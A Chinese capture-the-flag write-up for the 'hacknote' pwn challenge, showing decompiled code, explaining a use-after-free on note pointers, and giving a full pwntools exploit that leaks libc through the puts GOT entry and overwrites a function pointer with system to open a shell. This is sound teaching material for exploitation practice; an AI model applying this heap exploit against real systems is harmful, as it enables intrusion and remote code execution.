zoukankan      html  css  js  c++  java
  • pwnable_hacknote

    Ubuntu 16 32位,无tcache

    main():

    void __cdecl __noreturn main()
    {
      int v0; // eax
      char buf; // [esp+8h] [ebp-10h]
      unsigned int v2; // [esp+Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 2, 0);
      while ( 1 )
      {
        while ( 1 )
        {
          sub_8048956();
          read(0, &buf, 4u);
          v0 = atoi(&buf);
          if ( v0 != 2 )
            break;
          dele();
        }
        if ( v0 > 2 )
        {
          if ( v0 == 3 )
          {
            show();
          }
          else
          {
            if ( v0 == 4 )
              exit(0);
    LABEL_13:
            puts("Invalid choice");
          }
        }
        else
        {
          if ( v0 != 1 )
            goto LABEL_13;
          add();
        }
      }
    }

    add():

     1 unsigned int sub_8048646()
     2 {
     3   _DWORD *v0; // ebx
     4   signed int i; // [esp+Ch] [ebp-1Ch]
     5   int size; // [esp+10h] [ebp-18h]
     6   char buf; // [esp+14h] [ebp-14h]
     7   unsigned int v5; // [esp+1Ch] [ebp-Ch]
     8 
     9   v5 = __readgsdword(0x14u);
    10   if ( dword_804A04C <= 5 )
    11   {
    12     for ( i = 0; i <= 4; ++i )
    13     {
    14       if ( !ptr[i] )
    15       {
    16         ptr[i] = malloc(8u);
    17         if ( !ptr[i] )
    18         {
    19           puts("Alloca Error");
    20           exit(-1);
    21         }
    22         *(_DWORD *)ptr[i] = sub_804862B;
    23         printf("Note size :");
    24         read(0, &buf, 8u);
    25         size = atoi(&buf);
    26         v0 = ptr[i];
    27         v0[1] = malloc(size);
    28         if ( !*((_DWORD *)ptr[i] + 1) )
    29         {
    30           puts("Alloca Error");
    31           exit(-1);
    32         }
    33         printf("Content :");
    34         read(0, *((void **)ptr[i] + 1), size);
    35         puts("Success !");
    36         ++dword_804A04C;
    37         return __readgsdword(0x14u) ^ v5;
    38       }
    39     }
    40   }
    41   else
    42   {
    43     puts("Full");
    44   }
    45   return __readgsdword(0x14u) ^ v5;

    show():

     1 unsigned int sub_80488A5()
     2 {
     3   int v1; // [esp+4h] [ebp-14h]
     4   char buf; // [esp+8h] [ebp-10h]
     5   unsigned int v3; // [esp+Ch] [ebp-Ch]
     6 
     7   v3 = __readgsdword(0x14u);
     8   printf("Index :");
     9   read(0, &buf, 4u);
    10   v1 = atoi(&buf);
    11   if ( v1 < 0 || v1 >= dword_804A04C )
    12   {
    13     puts("Out of bound!");
    14     _exit(0);
    15   }
    16   if ( ptr[v1] )
    17     (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
    18   return __readgsdword(0x14u) ^ v3;

    dele():

     1 unsigned int dele()
     2 {
     3   int v1; // [esp+4h] [ebp-14h]
     4   char buf; // [esp+8h] [ebp-10h]
     5   unsigned int v3; // [esp+Ch] [ebp-Ch]
     6 
     7   v3 = __readgsdword(0x14u);
     8   printf("Index :");
     9   read(0, &buf, 4u);
    10   v1 = atoi(&buf);
    11   if ( v1 < 0 || v1 >= dword_804A04C )
    12   {
    13     puts("Out of bound!");
    14     _exit(0);
    15   }
    16   if ( ptr[v1] )
    17   {
    18     free(*((void **)ptr[v1] + 1));
    19     free(ptr[v1]);
    20     puts("Success");
    21   }
    22   return __readgsdword(0x14u) ^ v3;
    23 }

    dele函数指针未置零,存在UAF。show函数中这段调用以ptr[v1]作为函数。

     实际上就是add函数中写入的puts函数

     

    简单理一下思路:

    dword_804A04C记录申请堆块的数量,上限为5

    每次add会创建两个chunk,第一个chunk大小为0x10,第二个为用户输入的大小。

    第一个chunk(结构体)存储了puts函数调用,紧跟着的地址指向的位置则是puts函数的参数

     gdb调试结果如下

     接下来就是利用uaf泄露libc,执行system()拿shell。

    exp:

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    a=remote("node3.buuoj.cn",27678)
    #a=process("/root/hacknote")
    elf=ELF("/root/hacknote")
    libc=ELF("libc-2.23_32.so")
    puts_got=elf.got['puts']
    def add(size,Content):
        a.sendlineafter('Your choice :','1')
        a.sendlineafter('Note size :',str(size))
        a.sendafter('Content :',Content)
    
    def dele(idx):
        a.sendlineafter('Your choice :','2')
        a.sendlineafter('Index :',str(idx))
    
    def show(idx):
        a.sendlineafter('Your choice :','3')
        a.sendlineafter('Index :',str(idx))
    
    add(0x18,"aaaa") #idx 0
    add(0x18,"bbbb") #idx 1
    dele(0) 
    dele(1)
    add(0x8,p32(0x0804862b)+p32(puts_got)) #idx 2
    show(0)
    puts_addr=u32(a.recv(4))
    base=puts_addr-libc.sym['puts']
    system=base+libc.sym['system']
    dele(2)
    add(0x8,p32(system)+';shx00')
    show(0)
    #gdb.attach(a)
    a.interactive()

    需要注意的是,泄漏libc时,把puts_got插入相应位置时会覆盖puts,所以需要在payload前加上0x0804862b。

    system执行的参数只能是4bytes,所以需要写入;shx00或||sh

  • 相关阅读:
    Spring学习总结(六)——Spring整合MyBatis完整示例
    Spring学习总结(五)——Spring整合MyBatis(Maven+MySQL)二
    Spring学习总结(五)——Spring整合MyBatis(Maven+MySQL)一
    Spring学习总结(四)——表达式语言 Spring Expression Language
    Spring学习总结(三)——Spring实现AOP的多种方式
    Spring学习总结(二)——静态代理、JDK与CGLIB动态代理、AOP+IoC
    Spring集成MyBatis完整示例
    数据库字符集的坑
    MYSQL中的UNION和UNION ALL
    MySQL的事务和锁
  • 原文地址:https://www.cnblogs.com/remon535/p/14073193.html
Copyright © 2011-2022 走看看